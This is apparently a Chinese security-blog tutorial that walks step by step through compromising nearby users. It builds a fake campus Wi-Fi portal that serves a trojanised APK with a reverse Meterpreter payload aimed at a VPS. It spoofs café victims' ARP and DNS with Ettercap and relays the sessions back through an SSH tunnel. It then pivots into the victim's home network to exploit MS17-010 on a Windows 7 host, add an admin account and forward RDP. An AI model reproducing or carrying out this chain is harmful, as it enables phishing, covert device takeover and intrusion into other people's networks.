以前经常看Freebuf,学到了不少东西,现在想给入门的同学提供一点微小的帮助。以前老是不知道如何在外网使用msf这个神器,自己查了查资料,总结了一点自己的认识。

0. 环境:

a) Kali 2.0 (咖啡厅:192.168.0.2/校园网:172.16.X.X)

i. Metasploit-Framework

ii. Ettercap(dns欺骗)

iii. Backdoor-apk(apk后门)

iv. Python -m SimpleHTTPServer 80 (轻量级HTTP服务器)

v. SSH Tunnel (外网打洞)

b) Vultr vps 一台(Ubuntu 14.04)(公网IP:45.77.xx.xx)

echo GatewayPorts yes>>/etc/ssh/sshd_config

c) Android (魅蓝E2 Flyme by Yunos )( 咖啡厅:192.168.0.3/家庭局域网:192.168.0.3)

d) Win7 x64 sp1(ms17_010)(家庭局域网:192.168.0.5)

示意图:

场景一.png场景二.png

1. 构造钓鱼页面

a) 首先我们在电脑上登录CMCC-EDU

b) 弹出一个页面

image1.png

c) 该页面会提示下载一个 免费上网1.pak .我们正好用它来制作后门

d) 保存该页面到桌面, 将 免费上网.html 重命名为 index.html 并放到 免费上网_files 文件夹中,然后修改HTML:,

替换页面所有apk地址为免费上网.apk,并添加<iframe src=”免费上网.apk”>

image2.png

e) python -m SimpleHTTPServer 80 #(在index.html所在文件夹直接启动HTTP服务)

2. 使用backdoor-apk制作apk后门

a) 现在我们

git clone https://github.com/dana-at-cp/backdoor-apk.git

b)

cd backdoor-apk-master/backdoor-apk 

c) 将 免费上网1.apk 复制到此目录 并且重命名为 mfsw.apk 

image3.png

d)

./backdoor-apk.sh mfsw.apk

e) payload 选择 3

f) lhost 填写 vps 的IP地址 45.77.XX.XX

g) lport填写 99  (vultr 会封掉一部分端口,比如默认的4444)

image4.png

h) 然后进入 original/dist 复制mfsw.apk 到 免费上网_files 那个包含我们钓鱼文件的文件夹,改名为 免费上网.apk    

image5.png

image6.png

3. Ettercap 实现 DNS 欺骗

a) 查看ifconfig

image7.png

b)

gedit /etc/ettercap/etter.dns 

* A 192.168.0.2

*  PTR 192.168.0.2

image8.png

c) 开启ettercap-gui 选择wlan0 

image9.png

d) 扫描hosts  

image10.png

e) 选择欺骗 192.168.0.1 和 192.168.0.3 (Android)  

image11.png

f) 开启Arpspoof    

image12.png

image13.png

g) 加载dns sproof  模块 

image14.png

h) 手机上如图:

i.  

S70606-021636.jpg

ii.  

image16.jpeg

iii.  

image17.jpeg

4. msf 通过SSHtunnel 接收 反弹meterpreter 会话

a) 下面我们切换kali连接到其他wifi,

ifconfig 查看一下当前kali ip 

image18.png

当前地址为 172.16.8.181 ,我们等下还是能接收到来自Android的会话

b)

vi sshTunnel

c)

#!/bin/bash if [ -n “$1” ]#判断参数$1是否为空 then  echo 0.0.0.0 $1”--<>--”45.77.xx.xx:$1 ssh -C -g root@45.77.xx.xx -R $1:127.0.0.1:$1#这里是相同端口是因为,msf监听不到45.77.xx.xx:$1 会自动监听0.0.0.0:$1,刚好能正常接收会话 else echo 0.0.0.099”--<>--”45.77.xx.xx99
ssh -C -g root@45.77.xx.xx -R 99:127.0.0.1:99#默认监听99端口  fi 

image19.png

d) chmod +x sshTunnel

e) ./sshTunnel #默认99端口,运行sshtunnel 来实现 vps:99 到 127.0.0.1:99的转发

f) 其实这里已经有会话反弹过来了,只是本地msf监听没有开启 

image20.png

g) 现在我们开启msf监听

cd backdoor-apk/backdoor-apk/
msfconsole -r backdoor-apk. rc  

image21.png

h) 可以看到会话已经建立 

image22.png

i) session #查看 

j) wakelock #保持唤醒防止掉线

k) session -i 1 #切换到meterpreter 

image23.png

l) 截个图录个音啥的都不是事,能中招的用户肯定会给权限的,毕竟不是所有人都是有安全意识 

image24.png

m) ifconfig#查看Android的网段

image25.png

n)

run autoroute -s 192.168.0.3 #添加自动路由 background#返回msfconsole  

image26.png

o) 现在msf已经获得192.168.0.0/24网段的权限

但是我们还是有访问该网段的权限,扫描一手ms17_010 

image27.png

p) 既然是有ms17_010那就好办了(为了方便以后控制,加上bind_tcp正向连接成功率会低一点,所以使用reverse_tcp)

image28.png

image29.png

image30.png

image31.png

image32.png

image33.png

q) sshtunnel 打洞,45.77.xx.136:88->127.0.0.1:88 

image34.png

r) 可以看到,msf自动监听了0.0.0.0:88,这就是转发到相同端口的好处 

image35.png

s) 这里win7 x64会重启,然后获得会话,可以看到win7的会话也被vps转发回来了 

image36.png

image37.png

t) seesion -i 2 #选择Windows的会话,并开启远程桌面

image38.png

image39.png

u) 输入shell,进行添加用户,这里也可以用 run getgui -e -u admin -p 123  

image40.png

v) 下面我们可以使用

protfwd add -l 1234 -r 192.168.0.5 -p 3389

将win7的远程桌面转发到本地1234端口 

image41.png

w) get it!    

image42.png

image43.png

* 本文作者:求一份网络安全实习